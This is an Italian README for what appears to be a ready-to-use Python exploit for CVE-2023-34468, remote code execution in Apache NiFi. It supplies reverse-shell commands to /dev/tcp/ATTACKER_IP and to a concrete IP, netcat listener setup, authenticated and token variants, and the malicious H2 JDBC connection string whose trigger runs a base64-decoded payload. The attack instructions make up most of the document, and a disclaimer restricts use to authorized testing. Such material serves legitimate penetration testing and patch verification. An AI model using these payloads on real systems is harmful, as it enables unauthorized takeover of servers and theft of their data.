
CVE-2023-34468 - Apache NiFi H2 RCE PoC
Questo repository fornisce uno strumento di exploit basato su Python per CVE-2023-34468, una vulnerabilità critica di esecuzione remota di codice (CVSS 9.8) nelle versioni di Apache NiFi dalla 0.0.2 alla 1.21.0. Consente agli utenti autenticati di eseguire codice arbitrario manipolando le stringhe di connessione al database H2 con trigger incorporati.
⚠️ Avvertenza: Solo per scopi educativi e test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Start your listener
nc -lnvp 5555
# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
Verifica: Controlla il tuo listener per la connessione della reverse shell. Esegui id per confermare l'esecuzione del codice.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status con stato ENABLED/nifi-api/processors/{id}/run-status con stato RUNNING — il trigger H2 viene attivato alla connessionejdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Punti chiave:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (attivato automaticamente)# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Questo strumento è fornito esclusivamente per la ricerca sulla sicurezza e test autorizzati. L'autore non è responsabile per usi impropri o danni causati da questo exploit. Esegui sempre test in modo responsabile e solo in ambienti autorizzati.
Licenza MIT - Vedi il file LICENSE per i dettagli
Progettato per la ricerca sulla sicurezza e i test di penetrazione autorizzati.
Argomenti: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| Comando | Descrizione |
|---|
-t, --target | URL dell'istanza NiFi di destinazione (obbligatorio) |
-c, --command | Comando da eseguire (obbligatorio) |
-lh, --lhost | Host del listener per il callback (obbligatorio) |
-lp, --lport | Porta del listener per il callback (obbligatorio) |
-u, --username | Nome utente NiFi (istanze autenticate) |
-p, --password | Password NiFi (istanze autenticate) |
--token | Bearer token (istanze autenticate) |
--no-cleanup | Salta la pulizia dopo lo sfruttamento |
--delay | Secondi di attesa prima della pulizia (predefinito: 10) |
--driver-path | Sovrascrive il percorso del jar del driver H2 (omesso di default) |